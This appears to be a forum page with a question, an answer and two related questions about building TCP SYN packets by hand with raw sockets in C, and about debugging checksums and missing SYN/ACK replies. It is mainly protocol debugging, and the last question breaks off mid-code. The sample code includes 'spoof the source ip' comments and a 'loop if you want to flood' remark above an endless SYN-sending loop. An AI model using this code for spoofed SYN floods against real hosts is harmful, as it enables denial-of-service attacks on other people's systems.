I have an application that is sending hand crafted SOCK_RAW packets from a PF_PACKET socket. The packets are being created and sent as the screenshot from Wireshark shows. The packets being sent are TCP SYN packets with an expected TCP SYN/ACK response. However, no response is being received, again as the screenshot shows. I assume that this is because the router is dropping the packets for some reason. Any ideas what the reason could be? Or is there some other reason why I am not receiving any responses.
The full code is quite long because it takes a lot of code to get the IP address and the MAC address of the router to build the ethernet header with. So I have only included the most relevant code. If that is not enough please leave a comment and I will post the full code.
fd_socket[z] = socket(PF_PACKET, SOCK_RAW|SOCK_NONBLOCK, htons(ETH_P_ALL));
if(fd_socket[z] == -1)
{
perror("socket");
return EXIT_FAILURE;
}
/* clear structure */
memset(&my_addr[z], 0, sizeof(struct sockaddr_ll));
my_addr[z].sll_family = PF_PACKET;
my_addr[z].sll_protocol = htons(ETH_P_ALL);
str_devname = ifname;
//strcpy (str_devname, ifname);
/* initialize interface struct */
strncpy (s_ifr.ifr_name, str_devname, sizeof(s_ifr.ifr_name));
/* Get the broad cast address */
ec = ioctl(fd_socket[z], SIOCGIFINDEX, &s_ifr);
if(ec == -1)
{
perror("iotcl");
return EXIT_FAILURE;
}
/* update with interface index */
i_ifindex = s_ifr.ifr_ifindex;
s_ifr.ifr_mtu = 7200;
/* update the mtu through ioctl */
ec = ioctl(fd_socket[z], SIOCSIFMTU, &s_ifr);
if(ec == -1)
{
perror("iotcl");
return EXIT_FAILURE;
}
/* set sockaddr info */
memset(&my_addr[z], 0, sizeof(struct sockaddr_ll));
my_addr[z].sll_family = AF_PACKET;
my_addr[z].sll_protocol = ETH_P_ALL;
my_addr[z].sll_ifindex = i_ifindex;
/* bind port */
if (bind(fd_socket[z], (struct sockaddr *)&my_addr[z], sizeof(struct sockaddr_ll)) == -1)
{
perror("bind");
return EXIT_FAILURE;
}
/* prepare Tx ring request */
s_packet_req.tp_block_size = c_buffer_sz;
s_packet_req.tp_frame_size = c_buffer_sz;
s_packet_req.tp_block_nr = c_buffer_nb;
s_packet_req.tp_frame_nr = c_buffer_nb;
/* calculate memory to mmap in the kernel */
size = s_packet_req.tp_block_size * s_packet_req.tp_block_nr;
/* set packet loss option */
tmp = mode_loss;
if (setsockopt(fd_socket[z], SOL_PACKET, PACKET_LOSS, (char *)&tmp, sizeof(tmp))<0)
{
perror("setsockopt: PACKET_LOSS");
return EXIT_FAILURE;
}
/* send TX ring request */
if (setsockopt(fd_socket[z], SOL_PACKET, PACKET_TX_RING, (char *)&s_packet_req, sizeof(s_packet_req))<0)
{
perror("setsockopt: PACKET_TX_RING");
return EXIT_FAILURE;
}
/* change send buffer size */
if(c_sndbuf_sz) {
printf("send buff size = %d\n", c_sndbuf_sz);
if (setsockopt(fd_socket[z], SOL_SOCKET, SO_SNDBUF, &c_sndbuf_sz, sizeof(c_sndbuf_sz))< 0)
{
perror("getsockopt: SO_SNDBUF");
return EXIT_FAILURE;
}
}
/* get data offset */
data_offset = TPACKET_HDRLEN - sizeof(struct sockaddr_ll);
/* mmap Tx ring buffers memory */
ps_header_start = mmap(0, size, PROT_READ|PROT_WRITE, MAP_SHARED, fd_socket[z], 0);
if (ps_header_start == (void*)-1)
{
perror("mmap");
return EXIT_FAILURE;
}
int i,j;
int i_index = 0;
char * data;
int first_loop = 1;
struct tpacket_hdr * ps_header;
int ec_send = 0;
for(i=1; i <= c_packet_nb; i++)
{
int i_index_start = i_index;
int loop = 1;
/* get free buffer */
do {
ps_header = ((struct tpacket_hdr *)((void *)ps_header_start + (c_buffer_sz*i_index)));
data = ((void*) ps_header) + data_offset;
switch((volatile uint32_t)ps_header->tp_status)
{
case TP_STATUS_AVAILABLE:
/* fill data in buffer */
if(first_loop) {
//Datagram to represent the packet
char datagram[4096] , source_ip[32] , *data2, *pseudogram;
//zero out the packet buffer
memset (datagram, 0, 4096);
//Ethernet header
struct ether_header *eh = (struct ether_header *) datagram;
//IP header
struct iphdr *iph = (struct iphdr *) (datagram + sizeof (struct ether_header));
//TCP header
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ether_header) + sizeof (struct ip));
struct sockaddr_in sin;
struct pseudo_header psh;
//Data part
data2 = datagram + sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct tcphdr);
strcpy(data2 , "ABCDEFGHIJKLMNOPQRSTUVWXYZ");
//some address resolution
strcpy(source_ip , inet_ntoa(ipaddr->sin_addr));
sin.sin_family = AF_INET;
sin.sin_port = htons(80);
if (fscanf(fp, "%253s", server) == 1)
sin.sin_addr.s_addr = inet_addr (server);
else
{
done = 1;
break;
}
//Fill in the Ethernet Header
eh->ether_dhost[0] = arp_resp->sender_mac[0];
eh->ether_dhost[1] = arp_resp->sender_mac[1];
eh->ether_dhost[2] = arp_resp->sender_mac[2];
eh->ether_dhost[3] = arp_resp->sender_mac[3];
eh->ether_dhost[4] = arp_resp->sender_mac[4];
eh->ether_dhost[5] = arp_resp->sender_mac[5];
memcpy(eh->ether_shost, ifr.ifr_hwaddr.sa_data, HWADDR_len);
eh->ether_type = 0x0008;
//Fill in the IP Header
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof (struct iphdr) + sizeof (struct tcphdr) + strlen(data);
iph->id = htonl (54321); //Id of this packet
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
iph->check = 0; //Set to 0 before calculating checksum
iph->saddr = inet_addr ( source_ip ); //Spoof the source ip address
iph->daddr = sin.sin_addr.s_addr;
//Ip checksum
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
//TCP Header
tcph->source = htons (1234);
tcph->dest = htons (80);
tcph->seq = 0;
tcph->ack_seq = 0;
tcph->doff = 5; //tcp header size
tcph->fin=0;
tcph->syn=1;
tcph->rst=0;
tcph->psh=0;
tcph->ack=0;
tcph->urg=0;
tcph->window = htons (5840); // maximum allowed window size
tcph->check = 0; //leave checksum 0 now, filled later by pseudo header
tcph->urg_ptr = 0;
//Now the TCP checksum
psh.source_address = inet_addr( source_ip );
psh.dest_address = sin.sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(sizeof(struct tcphdr) + strlen(data) );
int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + strlen(data);
pseudogram = malloc(psize);
memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
memcpy(pseudogram + sizeof(struct pseudo_header) , tcph , sizeof(struct tcphdr) + strlen(data));
tcph->check = csum( (unsigned short*) pseudogram , psize);
memcpy(data, datagram, 4096);
free(pseudogram);
// for(j=0;j<c_packet_sz;j++)
// data[j] = j;
}
loop = 0;
break;
case TP_STATUS_WRONG_FORMAT:
printf("An error has occured during transfer\n");
exit(EXIT_FAILURE);
break;
default:
/* nothing to do => schedule : useful if no SMP */
usleep(0);
break;
}
}
while(loop == 1);
i_index ++;
if(i_index >= c_buffer_nb)
{
i_index = 0;
first_loop = 0;
}
/* update packet len */
ps_header->tp_len = c_packet_sz;
/* set header flag to USER (trigs xmit)*/
ps_header->tp_status = TP_STATUS_SEND_REQUEST;
/* if smp mode selected */
if(!mode_thread)
{
/* send all packets */
if( ((i&c_send_mask)==0) || (ec_send < 0) || (i == c_packet_nb) )
{
/* send all buffers with TP_STATUS_SEND_REQUEST */
/* Don't wait end of transfer */
//ec_send = (int) task_send((void*)0);
}
}
else if(c_error) {
if(i == (c_packet_nb/2))
{
int ec_close;
if(c_error == 1) {
ec_close = close(fd_socket[z]);
}
if(c_error == 2) {
if (setsockopt(fd_socket[z], SOL_PACKET, PACKET_TX_RING, (char *)&s_packet_req, sizeof(s_packet_req))<0)
{
perror("setsockopt: PACKET_TX_RING");
//return EXIT_FAILURE;
}
}
break;
}
}
}
//int ec_send;
static int total=0;
int blocking = 1;
/* send all buffers with TP_STATUS_SEND_REQUEST */
/* Wait end of transfer */
ec_send = sendto(fd_socket[z],NULL,0,(blocking? 0 : MSG_DONTWAIT),(struct sockaddr *) ps_sockaddr,sizeof(struct sockaddr_ll));
if(ec_send < 0) {
perror("sendto");
}
else if ( ec_send == 0 ) {
/* nothing to do => schedule : useful if no SMP */
usleep(0);
}
else {
total += ec_send/(c_packet_sz);
printf("send %d packets (+%d bytes)\n",total, ec_send);
fflush(0);
}
//ps_header_start = mmap(0, size, PROT_READ|PROT_WRITE, MAP_SHARED, fd_socket[z], 0);
if (munmap(ps_header_start, size) == -1)
{
perror("munmap");
exit(EXIT_FAILURE);
}
close(fd_socket[z]);
EDIT
A similar program that uses SOCK_RAW on a PF_INET socket also sends hand crafted packets doing a TCP SYN and does in fact receive the expected TCP SYN/ACK response. The only difference in the way the packets are constructed is that the PF_PACKET version has to have the ethernet headers added as well. The below screenshot shows a packet sent and a packet received which shows that the ethernet headers are the same for both the PF_INET version and the PF_PACKET version. So it is a mystery what the actual difference is that leads to this behaviour.
The PF_INET program code is as follows
/*
Raw TCP packets
*/
#include <stdio.h> //for printf
#include <string.h> //memset
#include <sys/socket.h> //for socket ofcourse
#include <stdlib.h> //for exit(0);
#include <errno.h> //For errno - the error number
#include <netinet/tcp.h> //Provides declarations for tcp header
#include <netinet/ip.h> //Provides declarations for ip header
#include <arpa/inet.h> // inet_addr
#include <unistd.h> // sleep()
/*
96 bit (12 bytes) pseudo header needed for tcp header checksum calculation
*/
struct pseudo_header
{
u_int32_t source_address;
u_int32_t dest_address;
u_int8_t placeholder;
u_int8_t protocol;
u_int16_t tcp_length;
};
/*
Generic checksum calculation function
*/
unsigned short csum(unsigned short *ptr,int nbytes)
{
register long sum;
unsigned short oddbyte;
register short answer;
sum=0;
while(nbytes>1) {
sum+=*ptr++;
nbytes-=2;
}
if(nbytes==1) {
oddbyte=0;
*((u_char*)&oddbyte)=*(u_char*)ptr;
sum+=oddbyte;
}
sum = (sum>>16)+(sum & 0xffff);
sum = sum + (sum>>16);
answer=(short)~sum;
return(answer);
}
int main (void)
{
//Create a raw socket
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
if(s == -1)
{
//socket creation failed, may be because of non-root privileges
perror("Failed to create socket");
exit(1);
}
//Datagram to represent the packet
char datagram[4096] , source_ip[32] , *data , *pseudogram;
//zero out the packet buffer
memset (datagram, 0, 4096);
//IP header
struct iphdr *iph = (struct iphdr *) datagram;
//TCP header
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
struct sockaddr_in sin;
struct pseudo_header psh;
//Data part
data = datagram + sizeof(struct iphdr) + sizeof(struct tcphdr);
strcpy(data , "ABCDEFGHIJKLMNOPQRSTUVWXYZ");
//some address resolution
strcpy(source_ip , "192.168.1.170");
sin.sin_family = AF_INET;
sin.sin_port = htons(80);
sin.sin_addr.s_addr = inet_addr ("51.89.233.84");
//Fill in the IP Header
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof (struct iphdr) + sizeof (struct tcphdr) + strlen(data);
iph->id = htonl (54321); //Id of this packet
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
iph->check = 0; //Set to 0 before calculating checksum
iph->saddr = inet_addr ( source_ip ); //Spoof the source ip address
iph->daddr = sin.sin_addr.s_addr;
//Ip checksum
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
//TCP Header
tcph->source = htons (1234);
tcph->dest = htons (80);
tcph->seq = 0;
tcph->ack_seq = 0;
tcph->doff = 5; //tcp header size
tcph->fin=0;
tcph->syn=1;
tcph->rst=0;
tcph->psh=0;
tcph->ack=0;
tcph->urg=0;
tcph->window = htons (5840); /* maximum allowed window size */
tcph->check = 0; //leave checksum 0 now, filled later by pseudo header
tcph->urg_ptr = 0;
//Now the TCP checksum
psh.source_address = inet_addr( source_ip );
psh.dest_address = sin.sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(sizeof(struct tcphdr) + strlen(data) );
int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + strlen(data);
pseudogram = malloc(psize);
memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
memcpy(pseudogram + sizeof(struct pseudo_header) , tcph , sizeof(struct tcphdr) + strlen(data));
tcph->check = csum( (unsigned short*) pseudogram , psize);
//IP_HDRINCL to tell the kernel that headers are included in the packet
int one = 1;
const int *val = &one;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
{
perror("Error setting IP_HDRINCL");
exit(0);
}
//loop if you want to flood :)
while (1)
{
//Send the packet
if (sendto (s, datagram, iph->tot_len , 0, (struct sockaddr *) &sin, sizeof (sin)) < 0)
{
perror("sendto failed");
}
//Data send successfully
else
{
printf ("Packet Send. Length : %d \n" , iph->tot_len);
}
// sleep for 1 seconds
sleep(1);
}
return 0;
}
EDIT
On closer inspection of the packets being sent out on the wire I noticed that the IP header checksum is wrong for the PF_PACKET version. Also the byte order needs to be reversed for values added that are more than a single byte in length. Why doesn't the checksum function work for the PF_PACKET version. Here is the csum function:
/*
Generic checksum calculation function
*/
unsigned short csum(unsigned short *ptr,int nbytes)
{
register long sum;
unsigned short oddbyte;
register short answer;
sum=0;
while(nbytes>1) {
sum+=*ptr++;
nbytes-=2;
}
if(nbytes==1) {
oddbyte=0;
*((u_char*)&oddbyte)=*(u_char*)ptr;
sum+=oddbyte;
}
sum = (sum>>16)+(sum & 0xffff);
sum = sum + (sum>>16);
answer=(short)~sum;
return(answer);
}
The ip4 checksum is only calculated over the ip header, if I get it correctly. So if you pass the total lenght of the whole packet to the checlsum calculation function, I would not be surprised, if you get a wrong checksum. I wonder though why it happend to work in the second program.
Related
I'm trying to make a application based on the x400 protocol but I'm having trouble establishing the connection with the cotp protocol. I am programming on linux and I am using the raw sockets to establish the connection.
I was able to find tutorials that explain how to make and read IP and TCP headers but I can't find any on the COTP protocol.
Can anyone help me please
Here is the code of client part
#include <stdio.h> //for printf
#include <string.h> //memset
#include <time.h>
#include <sys/socket.h> //for socket ofcourse
#include <stdlib.h> //for exit(0);
#include <errno.h> //For errno - the error number
#include <netinet/tcp.h> //Provides declarations for tcp header
#include <netinet/ip.h> //Provides declarations for ip header
#include <arpa/inet.h> // inet_addr
#include <unistd.h> // sleep()
#include <net/if.h>
// TPKT HEADER
typedef struct tpkt_hdr
{
//unsigned int continuation_data; // Continuation data Byte sequence
u_int8_t version: 3; // Version (1 bytes)
u_int8_t reserved; // Reserved (1 bytes)
u_int16_t length; // Length (2 bytes)
} TPKT_HDR;
// COTP HEADER
typedef struct cotp_hdr
{
u_int16_t tpdu_type; // DST_REF (2 bytes)
u_int16_t dst_ref; // DST_REF (2 bytes)
u_int16_t src_ref; // SRC-REF (2 bytes)
unsigned int class; // Length (1 byte)
unsigned int extended_formats; // Length (1 byte)
unsigned int no_explicit_flow_control; // Length (1 byte)
u_int16_t src_tsap; // DST_REF (2 bytes)
u_int16_t dst_tsap; // SRC-REF (2 bytes)
u_int16_t tpdu_size; // DST_REF (2 bytes)
} COTP_HDR;
// pseudo header needed for tcp header checksum calculation
struct pseudo_header
{
u_int32_t source_address;
u_int32_t dest_address;
u_int8_t placeholder;
u_int8_t protocol;
u_int16_t tcp_length;
};
#define DATAGRAM_LEN 4096
#define OPT_SIZE 20
unsigned short checksum(const char *buf, unsigned size)
{
unsigned sum = 0, i;
/* Accumulate checksum */
for (i = 0; i < size - 1; i += 2)
{
unsigned short word16 = *(unsigned short *) &buf[i];
sum += word16;
}
/* Handle odd-sized case */
if (size & 1)
{
unsigned short word16 = (unsigned char) buf[i];
sum += word16;
}
/* Fold to get the ones-complement result */
while (sum >> 16) sum = (sum & 0xFFFF)+(sum >> 16);
/* Invert to get the negative in ones-complement arithmetic */
return ~sum;
}
void create_syn_packet(struct sockaddr_in* src, struct sockaddr_in* dst, char** out_packet, int* out_packet_len)
{
// datagram to represent the packet
char *datagram = calloc(DATAGRAM_LEN, sizeof(char));
// required structs for IP and TCP header
struct iphdr *iph = (struct iphdr*)datagram;
struct tcphdr *tcph = (struct tcphdr*)(datagram + sizeof(struct iphdr));
struct pseudo_header psh;
// IP header configuration
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + OPT_SIZE;
iph->id = htonl(rand() % 65535); // id of this packet
iph->frag_off = 0;
iph->ttl = 255; //64
iph->protocol = IPPROTO_TCP;
iph->check = 0; // correct calculation follows later
iph->saddr = src->sin_addr.s_addr;
iph->daddr = dst->sin_addr.s_addr;
// TCP header configuration
tcph->source = src->sin_port;
tcph->dest = dst->sin_port;
tcph->seq = htonl(rand() % 4294967295);
tcph->ack_seq = htonl(0);
tcph->doff = 10; // tcp header size
tcph->fin = 0;
tcph->syn = 1;
tcph->rst = 0;
tcph->psh = 0;
tcph->ack = 0;
tcph->urg = 0;
tcph->check = 0; // correct calculation follows later
tcph->window = htons(5840); // window size
tcph->urg_ptr = 0;
// TCP pseudo header for checksum calculation
psh.source_address = src->sin_addr.s_addr;
psh.dest_address = dst->sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(sizeof(struct tcphdr) + OPT_SIZE);
int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + OPT_SIZE;
// fill pseudo packet
char* pseudogram = malloc(psize);
memcpy(pseudogram, (char*)&psh, sizeof(struct pseudo_header));
memcpy(pseudogram + sizeof(struct pseudo_header), tcph, sizeof(struct tcphdr) + OPT_SIZE);
// TCP options are only set in the SYN packet
// ---- set mss ----
datagram[40] = 0x02;
datagram[41] = 0x04;
int16_t mss = htons(48); // mss value
memcpy(datagram + 42, &mss, sizeof(int16_t));
// ---- enable SACK ----
datagram[44] = 0x04;
datagram[45] = 0x02;
// do the same for the pseudo header
pseudogram[32] = 0x02;
pseudogram[33] = 0x04;
memcpy(pseudogram + 34, &mss, sizeof(int16_t));
pseudogram[36] = 0x04;
pseudogram[37] = 0x02;
tcph->check = checksum((const char*)pseudogram, psize);
iph->check = checksum((const char*)datagram, iph->tot_len);
*out_packet = datagram;
*out_packet_len = iph->tot_len;
free(pseudogram);
}
void create_ack_packet(struct sockaddr_in* src, struct sockaddr_in* dst, int32_t seq, int32_t ack_seq, char** out_packet, int* out_packet_len)
{
// datagram to represent the packet
char *datagram = calloc(DATAGRAM_LEN, sizeof(char));
// required structs for IP and TCP header
struct iphdr *iph = (struct iphdr*)datagram;
struct tcphdr *tcph = (struct tcphdr*)(datagram + sizeof(struct iphdr));
struct pseudo_header psh;
// IP header configuration
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + OPT_SIZE;
iph->id = htonl(rand() % 65535); // id of this packet
iph->frag_off = 0;
iph->ttl = 255; //64
iph->protocol = IPPROTO_TCP;
iph->check = 0; // correct calculation follows later
iph->saddr = src->sin_addr.s_addr;
iph->daddr = dst->sin_addr.s_addr;
// TCP header configuration
tcph->source = src->sin_port;
tcph->dest = dst->sin_port;
tcph->seq = htonl(seq);
tcph->ack_seq = htonl(ack_seq);
tcph->doff = 10; // tcp header size
tcph->fin = 0;
tcph->syn = 0;
tcph->rst = 0;
tcph->psh = 0;
tcph->ack = 1;
tcph->urg = 0;
tcph->check = 0; // correct calculation follows later
tcph->window = htons(5840); // window size
tcph->urg_ptr = 0;
// TCP pseudo header for checksum calculation
psh.source_address = src->sin_addr.s_addr;
psh.dest_address = dst->sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(sizeof(struct tcphdr) + OPT_SIZE);
int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + OPT_SIZE;
// fill pseudo packet
char* pseudogram = malloc(psize);
memcpy(pseudogram, (char*)&psh, sizeof(struct pseudo_header));
memcpy(pseudogram + sizeof(struct pseudo_header), tcph, sizeof(struct tcphdr) + OPT_SIZE);
tcph->check = checksum((const char*)pseudogram, psize);
iph->check = checksum((const char*)datagram, iph->tot_len);
*out_packet = datagram;
*out_packet_len = iph->tot_len;
free(pseudogram);
}
void create_data_packet(struct sockaddr_in* src, struct sockaddr_in* dst, int32_t seq, int32_t ack_seq, char* data, int data_len, char** out_packet, int* out_packet_len)
{
// datagram to represent the packet
char *datagram = calloc(DATAGRAM_LEN, sizeof(char));
// required structs for IP and TCP header
struct iphdr *iph = (struct iphdr*)datagram;
struct tcphdr *tcph = (struct tcphdr*)(datagram + sizeof(struct iphdr));
struct pseudo_header psh;
// set payload
char* payload = datagram + sizeof(struct iphdr) + sizeof(struct tcphdr) + OPT_SIZE;
memcpy(payload, data, data_len);
// IP header configuration
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + OPT_SIZE + data_len;
iph->id = htonl(rand() % 65535); // id of this packet
iph->frag_off = 0;
iph->ttl = 255; //64
iph->protocol = IPPROTO_TCP;
iph->check = 0; // correct calculation follows later
iph->saddr = src->sin_addr.s_addr;
iph->daddr = dst->sin_addr.s_addr;
// TCP header configuration
tcph->source = src->sin_port;
tcph->dest = dst->sin_port;
tcph->seq = htonl(seq);
tcph->ack_seq = htonl(ack_seq);
tcph->doff = 10; // tcp header size
tcph->fin = 0;
tcph->syn = 0;
tcph->rst = 0;
tcph->psh = 1;
tcph->ack = 1;
tcph->urg = 0;
tcph->check = 0; // correct calculation follows later
tcph->window = htons(5840); // window size
tcph->urg_ptr = 0;
// TCP pseudo header for checksum calculation
psh.source_address = src->sin_addr.s_addr;
psh.dest_address = dst->sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(sizeof(struct tcphdr) + OPT_SIZE + data_len);
int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + OPT_SIZE + data_len;
// fill pseudo packet
char* pseudogram = malloc(psize);
memcpy(pseudogram, (char*)&psh, sizeof(struct pseudo_header));
memcpy(pseudogram + sizeof(struct pseudo_header), tcph, sizeof(struct tcphdr) + OPT_SIZE + data_len);
tcph->check = checksum((const char*)pseudogram, psize);
iph->check = checksum((const char*)datagram, iph->tot_len);
*out_packet = datagram;
*out_packet_len = iph->tot_len;
free(pseudogram);
}
void read_seq_and_ack(const char* packet, uint32_t* seq, uint32_t* ack)
{
// read sequence number
uint32_t seq_num;
memcpy(&seq_num, packet + 24, 4);
// read acknowledgement number
uint32_t ack_num;
memcpy(&ack_num, packet + 28, 4);
// convert network to host byte order
*seq = ntohl(seq_num);
*ack = ntohl(ack_num);
printf("sequence number: %lu\n", (unsigned long)*seq);
printf("acknowledgement number: %lu\n", (unsigned long)*seq);
}
int receive_from(int sock, char* buffer, size_t buffer_length, struct sockaddr_in *dst)
{
unsigned short dst_port;
int received;
do
{
received = recvfrom(sock, buffer, buffer_length, 0, NULL, NULL);
if (received < 0)
break;
memcpy(&dst_port, buffer + 22, sizeof(dst_port));
}
while (dst_port != dst->sin_port);
printf("received bytes: %d\n", received);
printf("destination port: %d\n", ntohs(dst->sin_port));
return received;
}
void create_cotp_packet(struct sockaddr_in* src, struct sockaddr_in* dst, int32_t seq, int32_t ack_seq, char** out_packet, int* out_packet_len)
{
// datagram to represent the packet
char *datagram = calloc(DATAGRAM_LEN, sizeof(char));
// required structs for IP and TCP header
struct iphdr *iph = (struct iphdr*)datagram;
struct tcphdr *tcph = (struct tcphdr*)(datagram + sizeof(struct iphdr));
struct tpkt_hdr *tpkth = (struct tpkt_hdr*)(datagram + sizeof(struct iphdr) + sizeof(struct tcphdr));
struct cotp_hdr *cotph = (struct cotp_hdr*)(datagram + sizeof(struct iphdr) + sizeof(struct tcphdr) + sizeof(struct tpkt_hdr));
struct pseudo_header psh;
// IP header configuration
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + sizeof(struct tpkt_hdr) + sizeof(struct cotp_hdr) + OPT_SIZE;
iph->id = htonl(rand() % 65535); // id of this packet
iph->frag_off = 0;
iph->ttl = 255; //64
iph->protocol = IPPROTO_TCP;
iph->check = 0; // correct calculation follows later
iph->saddr = src->sin_addr.s_addr;
iph->daddr = dst->sin_addr.s_addr;
// TCP header configuration
tcph->source = src->sin_port;
tcph->dest = dst->sin_port;
tcph->seq = htonl(seq);
tcph->ack_seq = htonl(ack_seq);
tcph->doff = 10; // tcp header size
tcph->fin = 0;
tcph->syn = 0;
tcph->rst = 0;
tcph->psh = 1;
tcph->ack = 1;
tcph->urg = 0;
tcph->check = 0; // correct calculation follows later
tcph->window = htons(5840); // window size
tcph->urg_ptr = 0;
// TPKT header configuration
tpkth->version = 3; // Version (1 bytes)
tpkth->reserved = 0; // Reserved (1 bytes)
tpkth->length = sizeof(struct tpkt_hdr); // Length (2 bytes)
cotph->tpdu_type = 0xe0; // DST_REF (2 bytes)
cotph->dst_ref = 0x0000; // DST_REF (2 bytes)
cotph->src_ref = 0x0009; // SRC-REF (2 bytes)
cotph->class = 0; // Length (1 byte)
cotph->extended_formats = 0; // Length (1 byte)
cotph->no_explicit_flow_control = 0; // Length (1 byte)
cotph->tpdu_size= 1024; // DST_REF (2 bytes)
cotph->src_tsap=0x5031; // DST_REF (2 bytes)
cotph->dst_tsap=0x5031; // SRC-REF (2 bytes)
// TCP pseudo header for checksum calculation
psh.source_address = src->sin_addr.s_addr;
psh.dest_address = dst->sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(sizeof(struct cotp_hdr) + OPT_SIZE);
int psize = sizeof(struct pseudo_header) + sizeof(struct cotp_hdr) + OPT_SIZE;
// fill pseudo packet
char* pseudogram = malloc(psize);
memcpy(pseudogram, (char*)&psh, sizeof(struct pseudo_header));
memcpy(pseudogram + sizeof(struct pseudo_header), cotph, sizeof(struct cotp_hdr) + OPT_SIZE);
tcph->check = checksum((const char*)pseudogram, psize);
iph->check = checksum((const char*)datagram, iph->tot_len);
*out_packet = datagram;
*out_packet_len = iph->tot_len;
free(pseudogram);
}
int main(int argc, char** argv)
{
if (argc != 4)
{
printf("invalid parameters.\n");
printf("USAGE %s <source-ip> <target-ip> <port>\n", argv[0]);
return 1;
}
srand(time(NULL));
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (sock == -1)
{
printf("socket creation failed\n");
return 1;
}
const char *opt;
opt = "ens33";
const int len = strnlen(opt, IFNAMSIZ);
if(len ==IFNAMSIZ){
fprintf(stderr, "Too long iface name");
return 1;
}
if(setsockopt(sock, SOL_SOCKET, SO_BINDTODEVICE, opt, len) == -1)
{
perror("Error setting IP_HDRINCL");
exit(0);
}
/*
int optval;
if (setsockopt (sock, IPPROTO_IP, IP_HDRINCL, (char*)&optval, sizeof(optval)) == -1)
{
perror("Error setting IP_HDRINCL");
exit(0);
}
* */
// destination IP address configuration
struct sockaddr_in daddr;
daddr.sin_family = AF_INET;
daddr.sin_port = htons(atoi(argv[3]));
if (inet_pton(AF_INET, argv[2], &daddr.sin_addr) != 1)
{
printf("destination IP configuration failed\n");
return 1;
}
// source IP address configuration
struct sockaddr_in saddr;
saddr.sin_family = AF_INET;
saddr.sin_port = htons(rand() % 65535); // random client port
if (inet_pton(AF_INET, argv[1], &saddr.sin_addr) != 1)
{
printf("source IP configuration failed\n");
return 1;
}
printf("selected source port number: %d\n", ntohs(saddr.sin_port));
// tell the kernel that headers are included in the packet
int one = 1;
const int *val = &one;
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) == -1)
{
printf("setsockopt(IP_HDRINCL, 1) failed\n");
return 1;
}
char* packet;
int packet_len;
int sent;
// send SYN
create_syn_packet(&saddr, &daddr, &packet, &packet_len);
if ((sent = sendto(sock, packet, packet_len, 0, (struct sockaddr*)&daddr, sizeof(struct sockaddr))) == -1)
{
printf("sendto() failed\n");
return 2;
}
else
{
printf("successfully sent %d bytes SYN!\n", sent);
}
// receive SYN-ACK
char recvbuf[DATAGRAM_LEN];
int received = receive_from(sock, recvbuf, sizeof(recvbuf), &saddr);
if (received <= 0)
{
printf("receive_from() failed\n");
return 3;
}
else
{
printf("successfully received %d bytes SYN-ACK!\n", received);
}
// read sequence number to acknowledge in next packet
uint32_t seq_num, ack_num;
read_seq_and_ack(recvbuf, &seq_num, &ack_num);
int new_seq_num = seq_num + 1;
// send ACK
// previous seq number is used as ack number and vica vera
create_ack_packet(&saddr, &daddr, ack_num, new_seq_num, &packet, &packet_len);
if ((sent = sendto(sock, packet, packet_len, 0, (struct sockaddr*)&daddr, sizeof(struct sockaddr))) == -1)
{
printf("sendto() failed\n");
return 4;
}
else
{
printf("successfully sent %d bytes ACK!\n", sent);
}
new_seq_num = seq_num + 1;
// send COTP PACKET
// previous seq number is used as ack number and vica vera
create_cotp_packet(&saddr, &daddr, ack_num, new_seq_num, &packet, &packet_len);
if ((sent = sendto(sock, packet, packet_len, 0, (struct sockaddr*)&daddr, sizeof(struct sockaddr))) == -1)
{
printf("sendto() failed\n");
return 4;
}
else
{
printf("successfully sent %d bytes ACK!\n", sent);
}
// TODO: handle FIN packets to close the connection properly
close(sock);
return 0;
}
This is the wireshark capture that I'm trying to reproduce:
a link
I'm trying to send tcp SYN packet using socket raw with special structure sockaddr_ll, but my packet is ignored. My program should send SYN tcp packet and receive SYN/ACK packet. I tried to find a mistake and found that my packet has the wrong checksum and I fixed it, but nothing changed. How to fix it?
My packet:
My code:
int main(int argc, char *argv[])
{
int sockfd;
struct ifreq if_idx;
struct ifreq if_mac;
struct ifreq ifreq_ip;
int tx_len = 0;
unsigned char* sendbuf;
sendbuf=(unsigned char*)malloc(64);
memset(sendbuf,0,64);
struct ether_header *eh = (struct ether_header *) sendbuf;
